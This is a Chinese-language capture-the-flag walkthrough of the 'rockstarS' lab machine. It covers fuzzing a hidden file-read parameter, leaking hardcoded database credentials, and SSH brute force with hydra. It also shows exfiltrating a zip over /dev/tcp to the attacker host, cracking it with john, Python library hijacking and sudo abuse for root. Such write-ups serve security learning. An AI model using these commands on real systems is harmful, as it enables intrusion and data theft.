TheHackersLabs rockstarS writeup
信息收集
nmap


dirb
dirb http://192.168.43.166 ./tmp_dict

立足点
通过信息收集阶段得到的信息来看,目标后端是php的,在web上目前只发现了index.php和db.php两个页面,db.php通过名字来看存放的应该是数据库连接信息,那我们就先去index.php看看

只有一行文本,源代码里也没东西

这段文本目前没感觉到有什么特别的含义,但这个页面是index.php,如果只用来呈现一行文本的话为什么不用html而要用php呢?所以这里可能存在隐藏的查询参数,我们去fuzz一下。
这里我先用的是arjun,但不管是get还是post都没找到参数,然后我通过wfuzz试了后才找到查询参数backdoor的,不知道为什么arjun找不到,backdoor在它的字典里应该是有的啊。

如果页面存在隐藏的查询参数的话,一般都是rce或者文件读取,所以fuzz的时候可以挨个试一下,这里就是文件读取的

这里我看它能读取远程服务器上的文件,我就以为它后端是include,但是通过data://伪协议又执行不了php代码,然后通过php://filter看了index.php的源码后才发现这里它用的是file_get_contents
<?php
echo 'Yo no soy tu marido';
$backdoor = $_POST["backdoor"];
echo file_get_contents($backdoor);
?>
第一次知道它也可以读远程服务器上的文件... 那接下来的话就是去看一下db.php里的内容了
<?php
$usuario = "shark";
$contrasena = "djbasdnbasdas&$AAAALLthl";
?>
userFlag
拿到了一个用户的账密,我们ssh上去

这里在我们的家目录中发现了一个bof的可执行文件,然后通过sudo -l发现可以以wvverez用户的权限执行它,那这里很明显作者是向让我们通过bof提权到wvverez,但这里由于bof是在我们的家目录下,所以我们不用去管原来这个bof里写的是什么,只需要把它删掉,然后重新创建一个bof,然后直接写入bash就可以提权上去了。
这里我刚开始看的时候判断出这里的提权是一个逆向相关的,但我没接触过逆向,且刚开始在这里第一时间没想到去替换bof,我是想先去/home下看一下每个用户的目录权限

我发现wvverez用户的家目录其他人也能进去,所以这里我就直接进去看了下里面的内容

发现里面有个zip文件,不出意外的话它应该是有密码的,我们把它拿到kali上尝试着解一下
cat rubiales.zip > /dev/tcp/192.168.43.180/10000(靶机上执行)
nc -lvp 10000(kali上执行)
拿过去后先提取zip的hash
zip2john rubiales.zip > zip_hash
然后通过john跑一下

这里我之前解过了,拿到密码后就可以看zip里的内容了

给了一串密码,我们也不知道哪个是有用的,所以只能爆破了,先去拿用户列表,在靶机上执行
cat /etc/passwd | grep '/bin/bash' | awk -F':' '{print $1}'
拿到用户列表后就可以通过hydra爆破了
hydra -L tmp_users -P passwords.txt ssh://192.168.43.108 -vV -u -f -t 2
# -u:表示采用用户轮询的方式,即先对同一个密码尝试所有用户(默认是密码轮询)
# -f:在找到一个正确的账密后退出
也可以不加-f,因为可能能找到有多个有效的账密,不过这里就只有一个(这里靶机出了点问题,重新导入了一下,所以IP变了)

然后我们su到loseey上去

还是和第一次提权一样的问题,可以直接把rubiales.py替换掉,但这里我们还是看一下这个py里的内容
import psutil
def print_virtual_memory():
vm = psutil.virtual_memory()
print(f"Total: {vm.total} Available: {vm.available}")
if __name__ == "__main__":
print_virtual_memory()
发现它导入了psutil库,而如果在和该py文件同一个目录中存在一个psutil.py文件的话,import psutil在大多数情况下是会优先导入psutil.py文件中的内容的,那么接下来就是在当前目录下创建一个psutil.py然后里面写我们自己的恶意代码:
import os
os.system('/bin/bash')

这样就拿到username3的权限了,然后在家目录下可以拿到userflag
userFlag:7f091293ad9b1c1c3377479ae63f49dd(MD5)
rootFlag
sudo -l 看一下

可以以root的身份运行bsh命令,bsh -> beanshell,它是一个执行java代码的解释器,这里我们是能够直接cat bsh中的内容的,所以这里可以直接给AI它会把提权方案给你

然后bash -p就可以提权到root了

在家目录下拿到rootflag
rootFlag:70e9e52ccdfe11281d0172cbb72ea49b(MD5)

http参数fuzz -> 逆向/文件替换/zip_hash -> python库注入 -> bsh提权
浙公网安备 33010602011771号